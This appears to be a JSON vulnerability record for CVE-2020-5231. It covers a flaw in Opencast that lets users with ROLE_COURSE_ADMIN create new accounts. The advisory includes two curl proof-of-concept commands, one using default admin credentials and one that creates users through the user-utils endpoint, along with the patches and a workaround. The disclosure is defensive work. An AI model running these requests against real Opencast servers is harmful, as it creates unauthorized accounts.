{"id":"CVE-2020-5231","aliases":["GHSA-94qw-r73x-j7hg"],"url":"https://o3.security/vulnerability/CVE-2020-5231","summary":"Users with ROLE_COURSE_ADMIN can create new users in Opencast","details":"### Impact\n\nUsers with the role `ROLE_COURSE_ADMIN` can use the user-utils endpoint to create new users not including the role `ROLE_ADMIN`. For example:\n\n```bash\n# Use the admin to create a new user with ROLE_COURSE_ADMIN using the admin user.\n# We expect this to work.\n% curl -i -u admin:opencast 'https://example.opencast.org/user-utils/xy.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n\n# Use the new user to create more new users.\n# We don't expüect a user with just role ROLE_COURSE_ADMIN to succeed.\n# But it does work\n% curl -i -u xy:f 'https://example.opencast.org/user-utils/ab.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n```\n`ROLE_COURSE_ADMIN` is a non-standard role in Opencast which is referenced neither in the documentation nor in any code (except for tests) but only in the security configuration. From the name – implying an admin for a specific course – users would never expect that this role allows user creation.\n\n### Patches\n\nThis issue is fixed in 7.6 and 8.1 which both ship a new default security configuration.\n\n### Workarounds\n\nYou can fix this issue by removing all instances of `ROLE_COURSE_ADMIN` in your organization's security configuration (`etc/security/mh_default_org.xml` by default).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org","published":"2020-01-30T22:15:10.220Z","modified":"2026-07-09T02:49:27.087393Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.opencastproject:opencast-kernel","fixedVersion":"7.6"},{"ecosystem":"Maven","name":"org.opencastproject:opencast-kernel","fixedVersion":"8.1"}],"fix":{"url":"https://github.com/opencast/opencast/commit/72fad0031d8a82c860e2bde0b27570c5042320ee","label":"opencast/opencast@72fad00"},"references":[{"type":"FIX","url":"https://github.com/opencast/opencast/commit/72fad0031d8a82c860e2bde0b27570c5042320ee"},{"type":"EVIDENCE","url":"https://github.com/opencast/opencast/security/advisories/GHSA-94qw-r73x-j7hg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5231"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T02:49:27.087393Z"}}